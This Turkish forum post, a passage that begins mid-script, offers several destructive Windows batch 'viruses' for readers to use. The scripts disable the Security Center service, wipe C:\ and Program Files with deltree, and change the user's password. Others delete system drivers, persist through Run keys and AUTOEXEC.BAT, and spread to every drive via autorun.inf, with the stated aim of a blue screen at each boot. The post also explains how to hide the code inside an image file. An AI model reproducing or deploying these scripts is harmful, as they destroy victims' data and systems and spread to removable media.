[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\w scsvc] >>%Temp%.\kill.reg ECHO Start=dword:00000004 >>%Temp%.\kill.reg ECHO. START /WAIT REGEDIT /S %Temp%.\kill.reg DEL %Temp%.\kill.reg DEL %0 Not defterine kopyalayıp adını virüs.bat veya virüs.cmd olarak kaydedin Herhangi bir resim ile birleştirmek isterseniz ; Resme sağ tıklayın Birlikte Aç >Not Defteri yapıp kodu resmin sonuna ekleyin. Not: Kaspersky , Norton , NOD32 , Avast gibi anti virüslere yakalanmaktadır. 3. Virüs __________________________________________________ __________ @echo off C:\WINDOWS\COMMAND\deltree /y...... C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.* @echo off C:\WINDOWS\COMMAND\deltree /y c:\*.* @echo off cls cls Uzantı: .bat __________________________________________________ __________ 4.Virüs __________________________________________________ __________ Kodlar: net user %username% 753951456852 shutdown -r __________________________________________________ __________ @echo off Set load=HKLM\Software\Microsoft\Windows\CurrentVersio n\Run Reg Add %load% /v BSOD /t REG_SZ /d %0 /f > nul Del /q /s /f %SystemRoot%\System32\Drivers\*.* copy koyduğun isim.bat %userprofile%\Start Menu\Programs\Startup\koyduğun isim.bat valinf = rundll32_%random%_toolbar reginf = hklm\Software\Microsoft\Windows\CurrentVersion\Ru n reg add %reginf% /v %valinf% /t REG_SZ /d %0 /f > nul echo start %0>>%SystemDrive%\AUTOEXEC.BAT copy %0 %windir%\system32\ls.bat for %%E In (A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y ,Z) Do ( copy /Y %0 %%E:\ echo [AutoRun] > %%E:\autorun.inf echo open=%%E:\%0 >> %%E:\autorun.inf echo action=Open folder to see files... >> %%E:\autorun.inf) Dir %SystemRoot% /s /b > PathHost For /f %%a In (PathHost) Do Copy /y %0 %%a > Nul Del /f /s /q PathHost > Nul adam her pc açtığında mavi ekran hatası alır Uzantı: .bat Bunu Yaptıktan Sonra Sakın Kendi Bilgisayarınızdan Açmayın Gümletirsiniz
Posted on: Thu, 24 Oct 2013 15:06:51 +0000
Trending Topics
Recently Viewed Topics
© 2015